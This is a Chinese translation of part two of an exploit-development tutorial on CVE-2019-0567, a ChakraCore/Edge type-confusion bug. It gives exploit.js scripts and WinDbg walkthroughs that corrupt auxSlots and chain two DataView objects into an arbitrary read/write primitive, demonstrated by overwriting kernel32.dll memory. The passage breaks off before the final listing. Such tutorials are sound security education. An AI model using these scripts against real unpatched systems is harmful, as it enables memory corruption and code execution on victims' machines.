Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) (译文)


0x00 简介

在第一篇文章中,我们介绍了ChakraCore exploit的开发环境,考察了JavaScript(更具体地说,Chakra/ChakraCore引擎)是如何管理内存中的动态对象的,并分析了CVE-2019-0567漏洞——它是一个影响基于Chakra引擎的Microsoft Edge和ChakraCore的类型混淆漏洞。在本文中,我们将为读者介绍该漏洞的概念验证脚本,该脚本能够利用类型混淆漏洞让Edge和ChakraCore发生崩溃,进而将其转换为一个读/写原语。然后,该原语将被用来获得针对ChakraCore和ChakraCore shell(ch.exe)的代码执行,而ChakraCore shell本质上就是一个允许执行JavaScript代码的命令行JavaScript shell。就本文来说,我们可以把ch.exe看作是Microsoft Edge,但没有提供可视化功能。接下来,在第三篇文章中,我们将把这里介绍的exploit移植到Microsoft Edge上,以获得完整的代码执行。

这篇文章还将涉及ASLR、DEP和CFG等漏洞缓解措施。正如我们在第三篇文章中看到的,当我们把exploit移植到Edge时,还必须应对ACG机制。然而,ChakraCore中没有启用这种缓解措施——所以,在本文中无需考虑这些问题。

最后,需要说明的是,本文中的大部分内容来自Bruno Keith在这个安全漏洞方面的出色工作,以及Perception Point关于CVE-2019-0567的“姊妹”漏洞的文章。好了,让我们进入正题吧!

0x01 ChakraCore/Chakra的利用原语

首先,让我们回顾一下动态对象在类型混淆发生后的内存布局,具体如下所示:

1.png

正如我们在上面看到的,我们已经用我们控制的值0x1234覆盖了auxSlots指针。另外,回顾一下我们在上一篇文章中介绍的JavaScript对象。众所周知,JavaScript中的值是64位的(从技术上讲),但只有32位用于保存实际值(对于值0x1234来说,它在内存中表示为001000000001234。这是“Nan Boxing”处理的结果,其中JavaScript将类型信息编码在值的高17位中。我们还知道,除了静态对象之外,剩下的(一般来说)都是动态对象。我们知道动态对象是“规则的例外”,实际上在内存中表示为指针。在第一部分中,我们通过剖析动态对象在内存中的布局(例如,object指向| vtable | type | auxSlots |),已经看到了这一点。

这对我们考察的漏洞则意味着,目前虽然可以覆盖auxSlots指针,但我们只能用NAN装箱的值覆盖它,这意味着在64位计算机上我们不能用真正感兴趣的东西来劫持对象,但就本例来说,当使用值0x1234时,我们只能用32位值覆盖auxSlots指针。

以上并非事实的全部,因为我们可以借助于一些“黑魔法”,用我们感兴趣的东西来控制这个auxSlots指针,准确来说,是利用“一串”东西,迫使ChakraCore做一些邪恶的事情——最终实现代码执行。

让我们用以下JavaScript代码来更新我们的概念验证,并将其保存为exploit.js:

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj
}

main();

上面的exploit.js与我们最初的概念验证代码略有不同:在利用类型混淆漏洞时,这里使用的是obj而非值0x1234。换句话说,对象o的指针auxSlots,之前将被0x1234所覆盖,而现在将被覆盖为对象obj的地址。而正是这个地址,才让事情变得有趣起来。

回顾一下,任何没有经过NaN-boxed的对象都被认为是一个指针。由于obj是一个动态对象,因此,它在内存中的布局如下所示:

1.png

这意味着,在发生类型混淆之后,被破坏的对象o并没有被布置成下面这样:

1.png

相反,它在内存中实际上会是这样的:

1.png

对于对象o(我们可以覆盖其auxSlots指针),从技术上来说,该对象的auxSlots位置有一个有效的指针。然而,我们可以清楚地看到,o->auxSlots指针并没有指向属性数组,而是指向我们创建的obj对象!我们的exploit.js脚本的作用,就是将o->auxSlots更新为o->auxSlots = addressof(obj)。这实质上意味着o->auxSlots现在保存的是obj对象的内存地址,而不是有效的auxSlots数组地址。

现在,我们已经能够控制o的属性,并且可以在exploit.js中的任何位置通过o.a、o.b等调用它们。例如,如果没有类型混淆漏洞,并且如果我们想获取o.a属性,则可以通过下列方式进行:

1.png

我们知道情况是这样的,因为我们很清楚ChakraCore将解除对dynamic_object+0x10的引用来拉取auxSlots指针。在检索auxSlots指针之后,ChakraCore将以auxSlots的地址为基础,加上适当的索引,以获取给定的属性,例如属性o.a,它存储在偏移量0处,或属性o.b,它存储在偏移量0x8处。这一点我们在第一篇文章中已经讲过,这与任何其他数组存储和获取适当索引的方式没有什么不同。

最有趣的是,ChakraCore仍然会对我们的o对象采取行动,就像auxSlots指针仍然有效并且没有被损坏一样。毕竟,这就是该漏洞的根本原因。当我们对o.a执行操作时,如果auxSlots被覆盖为0x1234的话,就会出现访问违规,因为0x1234是无效内存。

然而这一次,我们在o->auxSlots中提供了有效的内存。所以,对o.a进行操作时,实际上是将地址存储在auxSlots中,然后解除对它的引用,最后返回存储在偏移量0处的值。当前这样做时,由于obj对象作为auxSlots指针提供给被覆盖的o对象,实际上将返回我们obj对象的vftable。这是因为动态对象的前0x10字节包含元数据,如vftable和type。由于ChakraCore将我们的obj视为auxSlots数组,所以,我们可以通过auxSlots[0]在0偏移处直接进行索引,因此我们实际上可以与这些元数据进行交互,具体如下所示:

1.png

通常情况下,我们可以认为以o+0x10(即auxSlots)处的指针为基址,在偏移量0处的内容就是o.a属性的实际原始值。利用类型混淆漏洞,使用其他地址(如obj的地址)覆盖auxSlots之后,当使用JavaScript代码访问o.a属性的值的时候,将返回距这个地址偏移量为0处的内容,无论这里存放的是什么。虽然我们已经用一个对象的地址覆盖了auxSlots,但是ChakraCore并不知道auxSlots的值已经发生了变化,所以当脚本试图访问第一个属性(在本例中是o.a)时,它仍然会索引auxSlots[0]处的内容,而这里正好就是我们的obj对象的vftable。在发生类型混淆后,如果我们访问o.b,返回给ChakraCore的实际上是type指针。

下面,让我们用调试器调查一番,以便更清楚地了解这个问题。如果某些地方没搞清楚的话,也不要担心。回顾一下第一篇文章中的内容:函数chakracore!Js::DynamicTypeHandler::AdjustSlots负责对象o的属性的类型转换。让我们在print()语句以及上述函数上设置一个断点,这样就可以检查调用堆栈,从而找到与我们的opt()函数相对应的机器代码(JIT的代码)了。

1.png

在打开ch.exe并将exploit.js(要执行的脚本)作为参数传入后,我们在ch!WScriptJsrt::EchoCallback上设置一个断点。在恢复执行并命中断点后,我们就可以在chakracore!Js::DynamicTypeHandler::AdjustSlots上设置相应的断点了。

1.png

当chakracore!Js::DynamicTypeHandler::AdjustSlots被命中时,我们可以检查调用堆栈(就像第一篇那样)来识别经过JIT处理的opt()函数。

1.png

检索到opt()函数的地址后,我们可以反汇编代码,在我们的类型混淆漏洞所能抵达的最远端设置一个断点——当auxSlots被覆盖时,这个最远端对应于mov qword ptr [r15+10h], r11指令。

1.png

我们知道auxSlots存储在o+0x10处,所以这意味着我们的o对象目前保存在R15中。让我们检查一下该对象当前在内存中的布局。

1.png

我们可以清楚地看到,这就是o对象。看一下R11寄存器,其值将用于覆盖对象o的auxSlots属性,我们可以看到,它其实就是我们先前创建的obj对象。

1.png

注意该漏洞发生时,o对象会发生什么变化。当o->auxSlots被覆盖后,o.a现在指向的是我们obj对象的vftable属性。

1.png

因此,每当我们对o.a进行操作时,实际上是对obj的vftable进行操作。这当然不错,但我们怎样才能更进一步呢?请注意,vftable实际上是chakracore.dll空间中的一个用户模式地址。这意味着,如果我们能够从一个对象中泄露一个vftable,我们就能绕过ASLR。接下来,让我们看看如何实现这一点。

0x02 DataView对象

在利用这个漏洞时,经常使用的对象是DataView对象。DataView对象为用户提供了一种方法,以不同的数据类型和字节顺序从内存中的原始缓冲区读/写数据,该缓冲区可以用ArrayBuffer创建。这可以包括从所述缓冲区写入或检索8字节、16字节、32字节或(在某些浏览器中)64字节的原始数据。对于更感兴趣的读者,可以在此处找到有关 DataView 对象的更多信息。

在更高的层次上,DataView对象提供了一组方法,允许开发者对他们想在ArrayBuffer创建的缓冲区中设置或检索的数据类型进行非常具体的描述。例如,通过DataView提供的getUint32()方法,我们可以告诉ChakraCore,我们想把支持DataView对象的ArrayBuffer的内容作为32位无符号数据类型来检索,甚至可以要求ChakraCore以little-endian格式返回值,甚至可以指定从缓冲区中读取数据时使用的偏移量。DataView提供的方法列表可以在这里找到。

从利用的角度来看,前面提供的信息使DataView对象非常有吸引力,因为我们不仅可以从给定的缓冲区设置和读取数据,还可以指定数据类型、偏移量,甚至字符顺序。稍后将详细介绍这一点。

接下来,DataView对象可以按如下方式实例化:

dataviewObj = new DataView(new ArrayBuffer(0x100));

简单来说,就是通过ArrayBuffer创建一个由缓冲区支持的DataView对象。

这对我们来说非常重要,因为到现在为止,用于覆盖auxSlots(指我们的漏洞)的,要么是原始的JavaScript值,比如整数,要么是动态对象的地址,比如之前使用的obj对象。虽然我们可以通过某种原语来泄露kernel32.dll的基址,但是,由于NaN-boxing的缘故,我们仍然无法通过类型混淆漏洞,直接用泄露的地址0x7fff5b3d0000覆盖auxSlots指针——这就意味着,即使我直接用要读写的地址覆盖了auxSlots指针,ChakraCore仍然会给这个值打上“标记”,这实际上会对这个值“造成破坏”,使其在内存中不再被表示为0x7fff5b3d0000。如果我们首先将exploit.js更新为以下内容,并在auxSlots被破坏时暂停执行,我们可以清楚地看到这一点。

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x7fff5b3d0000);      // Instead of supplying 0x1234 or a fake object address, supply the base address of kernel32.dll
}

利用前面介绍的断点设置和调试方法,我们可以找到opt()函数的JIT地址,并在负责覆盖o对象的auxSlots属性的指令上暂停执行(在本例中就,就是mov qword ptr [r15+10h], r13)

1.png

请注意我们提供的值,它原本是0x7fff5b3d0000,并被放入R13寄存器,但是,现在它已经面目全非了。这是因为ChakraCore将类型信息嵌入到64位值的高17位(技术上讲,只有32位可用于存储原始值)。明白了这一点,自然就会知道:我们不能直接设置用于利用该漏洞的值,因为在64位系统上利用该漏洞时,要想确保相应的地址/数据不会被篡改,就必须将64位值的设置和写入操作一次搞定。这意味着,即使我们能可靠地泄漏数据,也无法将这些泄漏的数据写入相应的内存,因为我们没有办法避免JavaScript对数值进行NaN-boxing处理。面对这种情况,我们有两条路可选:

将经过NaN-boxed的值写入相应的内存中
将动态对象写入相应的内存中(可以用指针来表示)

如果我们把几个JavaScript对象链接在一起,就可以选用第二种方法:用对象的地址覆盖内存中的一些内容,以实现读/写原语。为此,让我们从研究DataView对象在内存中的行为开始下手。

现在,让我们创建一个名为dataview.js的新JavaScript脚本:

// print() debug
print("DEBUG");

// Create a DataView object
dataviewObj = new DataView(new ArrayBuffer(0x100));

// Set data in the buffer
dataviewObj.setUint32(0x0, 0x41414141, true);   // Set, at an offset of 0 in the buffer, the value 0x41414141 and specify litte-endian (true)

请注意我们在数据量、数据类型以及我们可以设置/检索的缓冲区中的数据偏移量方面的控制水平。

在上面的代码中,我们创建了一个DataView对象,它通过ArrayBuffer得到原始内存缓冲区的支持。通过这个缓冲区的DataView "视图",我们可以告诉ChakraCore从缓冲区的起始地址开始,使用32位无符号数据类型,并在向ArrayBuffer创建的缓冲区设置数据0x41414141时使用小端(little endian)格式。为了弄清除这一点,让我们在WinDbg中执行这个脚本。

1.png

接下来,让我们在ch!WScriptJsrt::EchoCallback上设置print()调试断点。恢复执行后,让我们在chakracore!Js::DataView::EntrySetUint32上设置一个断点,该函数负责在DataView缓冲区上设置一个值。请注意,我是通过搜索ChakraCore代码库找到这个函数的,因为该代码库是开源的,可在GitHub上找到;该函数位于DataView.cpp中,看起来是用于设置DataView对象的值。

1.png

在命中chakracore!Js::DataView::EntrySetUint32上的断点后,我们可以进一步查看反汇编代码,会发现DataView提供了一个名为SetValue()的方法。现在,让我们在这里设置一个断点。

1.png

该断点被命中后,我们可以检查这个函数的反汇编代码,从中可以发现另一个对SetValue()方法的调用。接下来,让我们在这个函数上设置一个断点。

1.png

命中该断点后,可以看到我们目前所在的SetValue()方法函数的源代码,详见下面红框内的部分。

1.png

通过对反汇编代码进行交叉引用,可以发现在这个方法函数的ret指令之前,是一条mov dword ptr [rax], ecx指令。这是一个汇编操作,使用一个32位的值来操作一个64位的值。这可能就是将我们的32位值写入DataView对象的缓冲区的操作。对此,我们可以通过设置断点来进行确认。

1.png

1.png

我们可以看到,缓冲区现在的值为0x41414141。

1.png

这说明可以通过DataView对象设置一个任意的32位数值,并且无需进行任何形式的NaN-boxing处理。同时,我们还注意到DataView对象的buffer属性的地址是0x157af16b2d0。然而,它能否用于设置64位的值呢?考虑下面的脚本,它试图通过DataView的偏移量来设置一个64位的值。

// print() debug
print("DEBUG");

// Create a DataView object
dataviewObj = new DataView(new ArrayBuffer(0x100));

// Set data in the buffer
dataviewObj.setUint32(0x0, 0x41414141, true);   // Set, at an offset of 0 in the buffer, the value 0x41414141 and specify litte-endian (true)
dataviewObj.setUint32(0x4, 0x41414141, true);   // Set, at an offset of 4 in the buffer, the value 0x41414141 and specify litte-endian (true)

使用与之前完全相同的方法,我们可以回到mov dword ptr [rax], rcx指令,该指令将我们的数据写入一个缓冲区;从这里可以发现,利用DataView对象可以在JavaScript中设置一个连续的64位值,既不需要进行NaN-boxing,也不受JavaScript对象地址的限制!

1.png

我们唯一被“限制”的是我们不能“一次性”设置一个64位的值,而且我们必须把写/读操作分成两次进行,因为我们一次只能读/写32位,这是由DataView提供的方法所决定的。然而,目前我们还没有办法滥用这个功能,因为我们只能在DataView对象的缓冲区内执行这些操作,还构不成安全漏洞。我们最终会看到如何利用类型混淆漏洞来实现这个目的,具体过程将在后文介绍。

最后,既然我们知道了如何对DataView对象进行操作,那么我们如何在内存中实际查看该对象呢?我们在调试结果中看到的DataView的buffer属性从何而来?为了弄清楚这些问题,我们可以在原始函数chakracore!Js::DataView::EntrySetUint32上设置一个断点。当命中这个断点时,我们就可以在EntrySetUint32函数末尾的SetValue()函数上设置一个断点,这个函数通过RCX将指针传给作用域内的DataView对象。

1.png

如果我们在WinDbg中检查这个值,可以清楚地看到这正是我们的DataView对象。请注意下面的对象布局——这是一个动态对象,但是由于它是一个内建的JavaScript类型,所以布局略有不同。

1.png

这里需要重点关注的是:vftable指针仍然存在于对象的开头部分,在DataView对象的偏移量0x38处,我们有一个指向缓冲区的指针。为了确认这一点,我们可以设置一个硬件断点,以便在以4字节(32位)为边界写入DataView.Buffer时暂停执行。

1.png
1.png

现在,我们已经知道缓冲区在DataView对象中的存储位置,并弄清楚了如何对该缓冲区执行写入,以及可以以何种方式写入。

下面,让我们将这些知识与之前介绍的内容联系起来,以获得一个读/写原语。

0x03 读/写原语

根据我们前面对DataView对象的了解,并结合对Chakra/Chakracore利用原语的介绍,我们已经知道如何用内存中受控的另一个JavaScript对象的地址来控制auxSlots指针,接下来,让我们看看如何将两者结合在一起以实现读/写原语。

让我们回想一下前面的两幅图示,其中,我们用内存中另一个对象obj的地址损坏了o对象的auxSlots指针。

1.png

1.png

从上面的图像中,我们可以看到内存中当前的布局情况,其中o.a现在控制了obj对象的vftable,o.b控制了obj对象的type指针。但是如果我们在对象o中有一个属性c(o.c)的话,结果会怎样呢?

1.png

从上面的图像中,我们可以清楚地看到,如果对象o有一个属性c为o(o.c)的话,就可以用来控制obj对象的auxSlots指针——在出现类型混淆漏洞之后。这实质上意味着我们可以强制obj指向内存中的其他内容。这正是我们梦寐以求的事情,为此,只需像对o对象所做的那样即可(覆盖auxSlots指针来指向我们控制的内存中的另一个对象):

1.png

通过将o.c设置为指向DataView对象,我们就可以通过obj对象来控制DataView对象的全部内容!如上图所示,其中auxSlots指针被另一个对象的地址所覆盖,这样,我们就可以通过对被破坏的对象进行操作来完全控制该对象(vftable和所有元数据)!这是因为在ChakraCore眼里,属性auxSlots并没有被另一个值所覆盖。在本例中,当我们尝试访问obj.a时,ChakraCore会获取存储在obj+0x10处的auxSlots指针,然后尝试以0为偏移量来索引该内存。因为它现在是内存中的另一个对象(在本例中是DataView对象),所以obj.a仍然会获取存储在0偏移量处的任何内容,这正是我们的DataView对象的vftable属性!这也是我们用这么多值来声明obj对象的原因,因为DataView对象比标准动态对象具有更多的隐藏属性。通过为obj声明众多的属性,我们就能访问DataView对象的所有所需属性,因为我们不会像处理其他对象那样停留在dataview+0x10处,就这里来说,我们只关心AuxSlot指针。

这才是事情真正开始好转的地方。我们知道DataView.buffer是作为指针存储的。这一点可以从我们之前关于理解DataView对象的研究工作中清楚地看出。

1.png

在上图中,我们可以看到DataView.Buffer存储在DataView对象的0x38偏移量处。在前面的图像中,buffer是内存中的指针,指向内存地址0x1A239AFB2D0。这是我们缓冲区的地址。每当我们在DataView对象上执行DataView.setuint32()时,该地址都将被更新,详见下图:

1.png

好了,如果我们能够将下图:

1.png

变为:

1.png

这意味着上面显示的缓冲区地址将被kernel32.dll的基址所覆盖。这意味着,每当我们使用setUint32()这样的方法对DataView对象进行操作时,实际上都将覆盖kernel32.dll的内容(请注意,DLL中显然存在只读、读/写或读/执行的部分)!这也被称为任意写入原语!如果我们有能力泄漏数据,显然可以使用DataView对象和内建的方法,对被覆盖的buffer指针所指向的内存进行读写操作,与此同时,我们显然还可以利用类型混淆漏洞(比如覆盖auxSlots指针),用我们想要的任何内存地址来覆盖这个缓冲区指针!然而,还有一个问题需要解决:NaN-boxing困境。

如上图所示,我们可以使用obj.h属性覆盖DataView对象的buffer指针。但是,正如我们在JavaScript中看到的,如果我们试图在对象上设置一个值,比如obj.h=kernel32_base_address,我们的值通常会“走样”。解决这个问题的唯一方法是借助于DataView对象,因为它可以写入原始的64位值。

解决上述问题时,我们实际上需要用到两个DataView对象,具体如下图所示:

1.png

上图可能看起来比较混乱,所以,让我们化整为零,同时检查一下我们在调试器中看到的情况。

这个内存布局与我们讨论过的其他内存布局没有什么不同。这里也存在类型混淆漏洞,o对象的auxSlots指针实际上是我们在内存中控制的obj对象的地址。由于ChakraCore会把这个对象解释为auxSlots指针,所以,我们可以使用属性o.c,如果它没有被破坏的话,它将是auxSlots数组的第三个索引。auxSlots数组中的这个条目被存储在auxSlots+0x10处,由于auxSlots实际上是另一个对象,这使得我们可以用一个JavaScript对象覆盖obj对象的auxSlots指针。

我们覆盖了我们创建的obj对象的auxSlots数组,它有很多属性。这是因为obj->auxSlots被一个DataView对象覆盖了,这个对象有很多隐藏的属性,其中包括一个buffer属性。之所以为对象obj声明了这么多的属性,就是为了能够覆盖上面所说的隐藏属性,例如buffer指针,该属性被存储在DataView对象内的0x38的偏移处。由于dataview1被解释为auxSlots指针,我们可以使用obj(以前会被存储在这个数组中)来完全覆盖dataview1对象的任何隐藏属性。我们想把这个buffer设置成一个我们想任意写入的地址(比如堆栈,以调用一个ROP链)。然而,由于NaN-boxing的原因,JavaScript会阻止我们用一个原始的64位地址来设置obj.h,因此,我们必须用另一个JavaScript对象的地址来覆盖这个buffer指针。由于DataView对象暴露的方法可以让我们写入原始的64位值,因此,我们可以用另一个DataView对象的地址覆盖dataview1对象的buffer缓冲区。

同样,我们选择这个方法,是因为我们知道obj.h是我们可以更新的属性,从而可以覆盖dataview1->buffer。然而,JavaScript不允许我们设置原始的64位值,否则我们就可以用它来读/写内存,以绕过ASLR,写入堆栈,进而劫持控制流。正因为如此,我们需要用另一个DataView对象来覆盖它。

由于dataview1->buffer = dataview2,我们现在可以使用DataView暴露的方法(通过我们的dataview1对象)向dataview2对象的buffer属性写入一个原始的64位地址!这是因为我们之前介绍的setUint32()等方法,允许我们这样做!我们还知道,buffer指针在DataView对象中的偏移量为0x38,所以如果我们执行下面的JavaScript代码,我们就可以将dataview2->buffer更新为我们想要读/写的任何64位原始值。

// Recall we can only set 32-bits at a time
// Start with 0x38 (dataview2->buffer and write 4 bytes
dataview1.setUint32(0x38, 0x41414141, true);        // Overwrite dataview2->buffer with 0x41414141

// Overwrite the next 4 bytes (0x3C offset into dataview2) to fully corrupt bytes 0x38-0x40 (the pointer for dataview2->buffer)
dataview1.setUint32(0x3C, 0x41414141, true);        // Overwrite dataview2->buffer with 0x41414141

现在,dataview2->buffer会被覆盖为0x414141414141。接下来,让我们考察下面的代码。

dataview2.setUint32(0x0, 0x42424242, true);
dataview2.setUint32(0x4, 0x42424242, true);

如果我们在dataview2上调用setUint32(),这里使用的偏移量将是0。这是因为我们没有试图破坏任何其他对象,相反,我们打算以合法的方式使用DataView2.Setuint32()。当调用dataView2->setuint32()时,它将通过dataview2+0x38计算出dataview2对象的buffer属性的地址,取消该地址的引用,并尝试将值0x4242424242424242(如上文所示)写入该地址。

然而,问题是我们已经利用类型混淆漏洞将DataView2->buffer更新为其他地址(在本例中是无效地址0x414141414141414141)。而该地址正好是dataview2对象现在试图写入的地址,从而导致访问违例。

现在,让我们测试一下任意写入原语,即覆盖Kernel32.dll(可写)的.data节的前8个字节,看看该原语到底好不好使。为此,让我们将exploit.js脚本更新为:

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    // Print debug statement
    print("DEBUG");

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // Set dataview2->buffer to kernel32.dll .data section (which is writable)
    dataview1.setUint32(0x38, 0x5b3d0000+0xa4000, true);
    dataview1.setUint32(0x3C, 0x00007fff, true);

    // Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141
    dataview2.setUint32(0x0, 0x41414141, true);
    dataview2.setUint32(0x4, 0x41414141, true);
}

main();

请注意,在上面的代码中,kernel32.dll的.data节的基址可以通过以下WinDbg命令找到:!dh kernel32。前面说过,我们只能以32位为边界进行写/读操作,因为DataView(在Chakra/Chakracore中)提供的方法,所能处理的无符号整数的边界,最多为32位。也就是说,没有提供直接进行64位写操作的方法。

1.png

1.png

我们的目标地址将是kernel32_base+0xA4000,对于当前使用的Windows 10系统来说。

现在,让我们通过windbg在ch.exe中运行exploit.js脚本。

1.png

为此,需要先通过ch!WScriptJsrt::EchoCallback在第一条print()调试语句上设置一个断点。当我们命中这个断点时,在恢复执行之后,让我们在chakracore!Js::DynamicTypeHandler::AdjustSlots上设置一个断点。我们对这个函数不是特别感兴趣,因为我们知道,它将在tmp函数设置原型后对o对象执行类型转换,但我们知道,在调用堆栈中我们能看到执行类型混淆漏洞的jit函数opt()的地址。

1.png

检查调用堆栈,我们可以清楚地看到opt()函数。

1.png

现在,让我们在用于覆盖o对象的auxSlots指针的指令上设置一个断点。

1.png

我们可以通过R15和R11来确认我们的o对象的变化情况,其auxSlots指针即将被obj对象的地址所覆盖。

1.png

1.png

我们可以清楚地看到,o->auxSlots指针被更新为obj对象的地址。

1.png

这正是我们所期望的漏洞行为方式。在调用opt(o, o, obj)函数后,脚本将执行下面的代码:

// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;

我们知道,通过给o.c属性设置一个值,实际上就相当于用第一个DataView对象的地址来覆盖obj->auxSlots。回顾之前的截图,我们知道obj->auxSlots位于0x12b252a52b0处。

1.png

让我们设置一个硬件断点,使得每当以8字节对齐方式写入该地址时,该断点就会命中。

1.png

查看反汇编代码,我们可以清楚地看到SetSlotUnchecked是如何通过计算一个数组的索引来为auxSlots数组(或它认为的auxSlots数组)建立索引的。

1.png

让我们看一下RCX寄存器,它应该是obj->auxSlots(位于0x12b252a52b0地址处)。

1.png

然而,我们可以看到,这个值不再是auxSlots数组,而实际上是一个指向DataView对象的指针!这意味着我们已经成功地覆盖了obj->auxSlots。同时,这也意味着:我们已经成功地用我们的DataView对象dataview的地址覆盖了obj->auxSlots!

1.png

现在,我们的o.c = dataview1操作已经完成,我们知道,下一条指令为:

// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;

现在,让我们更新脚本:在obj.h = dataview2指令之前设置调试语句print(),然后在WinDbg中重新开始执行。

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Print debug statement
    print("DEBUG");

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // Set dataview2->buffer to kernel32.dll .data section (which is writable)
    dataview1.setUint32(0x38, 0x5b3d0000+0xa4000, true);
    dataview1.setUint32(0x3C, 0x00007fff, true);

    // Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141
    dataview2.setUint32(0x0, 0x41414141, true);
    dataview2.setUint32(0x4, 0x41414141, true);
}

main();

我们从上次的调试会话中得知,函数chakracore!Js::DynamicTypeHandler::SetSlotUnchecked负责更新o.c = dataview1。所以就,让我们在这里设置另一个断点,以考察obj.h = dataview2 这行代码的运行情况。

1.png

命中该断点后,我们可以检查RCX寄存器,其中包含传递给SetSlotUnchecked函数的、作用域内的动态对象。我们可以清楚地看到,这正是我们的obj对象,因为obj->auxSlots指向我们的DataView对象dataview1。

1.png

然后,我们可以在mov qword ptr [rcx+rax*8], rdx指令上设置一个断点,我们之前已经看到,它将执行我们的obj.h = dataview2指令。

1.png

命中该指令后,我们可以看到,这里操作的是dataview1对象,并且,dataview1对象的buffer指针目前指向0x24471ebed0。

1.png

在完成写操作之后,我们可以看到,dataview1->buffer现在指向我们的dataview2对象。

1.png

再次重申,我们之所以可以执行这种类型的操作,是因为这里存在类型混淆漏洞,ChakraCore并不知道我们已经用另一个对象(即dataview1对象)的地址覆盖了obj->auxSlots。当我们执行obj.h=dataview2指令时,ChakraCore仍然认为obj对象的auxSlots指针是有效的——尽管事实并非如此,并且它将尝试更新auxSlots数组中的obj.h元素(它实际上是一个DataView对象)。由于dataview1->buffer存储的位置,正好是ChakraCore认为存储obj.h的地方,所以,我们可以将该值覆盖为第二个DataView对象dataview2的地址。

现在,让我们在DataView对象的setUint32()方法上设置一个断点(就像之前所做的那样),它将执行最终的对象损坏操作,进而实现任意写入。我们也可以完全清除所有其他断点。

1.png

命中该断点后,我们可以滚动查看EntrySetUint32()的反汇编代码,并在chakracore!Js::DataView::SetValue上设置一个断点,正如我们之前所介绍的那样。

1.png

1.png

命中这个断点后,我们可以滚动查看反汇编代码,并在另一个SetValue()方法上设置一个断点。

1.png

在这个方法函数中,我们知道mov dword ptr[rax],ecx是最终负责写入作用域内DataView对象的buffer属性的指令。让我们清除所有断点,只关注这个指令。

1.png

这个断点命中后,RAX将包含我们要写入的地址。正如我们在利用策略中所讨论的,这应该是dataview2->buffer。我们将使用dataview1提供的setUint32()方法,以便可以用原始的64位值(对应于两个写操作)来覆盖dataview2->buffer的地址。

1.png

在上面的RCX寄存器中,我们实际上还可以看到Kernel32.dll的.data节的地址的“低位”部分——我们希望执行任意写操作的目标地址。

现在,我们可以单步执行mov dword ptr[rax],ecx指令,这时会发现taview2->buffer已经被kernel32.dll的.data节的地址中的低4字节部分覆盖掉了!

1.png

太好了!我们现在可以在调试器中按g键,从而再次命中mov dword ptr [rax], ecx指令。这一次,setUint32()操作应该写入kernel32.dll的.data节的地址的高位部分,从而得到任意写入原语所需的“全尺寸”指针。

1.png

1.png

在命中该断点并单步执行指令后,我们可以再次检查RAX以确认以下几点:它是否为dataview2对象,以及覆盖buffer指针的是否为64位地址,并且不会受到NaN-boxing的影响!如果真是这样的话,那就完美了,因为下次dataview2对象设置其buffer属性时,就会使用我们提供的kernel32.dll地址,并以为这就是它的缓冲区!因此,我们现在提供给dataview2.setUint32()方法的任何值,实际上都会覆盖kernel32.dll的.data节!现在,让我们在调试器中再次按g键来查看 dataview2.setUint32()操作完成后的实际情况。

正如我们在下面看到的,当我们再次命中断点时,正在使用的缓冲区地址位于kernel32.dll中,我们的setUint32()操作已经将0x41414141写入.data节!也就是说,我们实现了任意写入原语!

1.png

然后,我们再一次在调试器中按下g键,写入剩下的32位。这样的话,我们就实现了一个基于64位地址的任意写入原语!

1.png

完美!这意味着我们可以首先通过dataview1.setUint32()将dataview2->buffer设置为我们想要覆盖的任何64位地址。然后,我们可以使用dataview1.setUint32()来覆盖所提供的64位地址!这也预示着,我们可以随时都可以读取/通过指针访问任意地址的内存!

作为写入原语,我们只需:先将dataview2->buffer设置为我们想要读取的内存的地址,然后,不是使用setUint32()方法来覆盖这个64位地址,而是使用getUint32()方法来读取位于dataview2->buffer中的内容。由于dataview2->buffer包含了我们想要读取的内存的64位地址,这个方法将直接从这里读取8个字节,这意味着,我们能够以8个字节为边界进行读/写操作。

下面是我们完整的读/写原语代码。

// Creating object obj
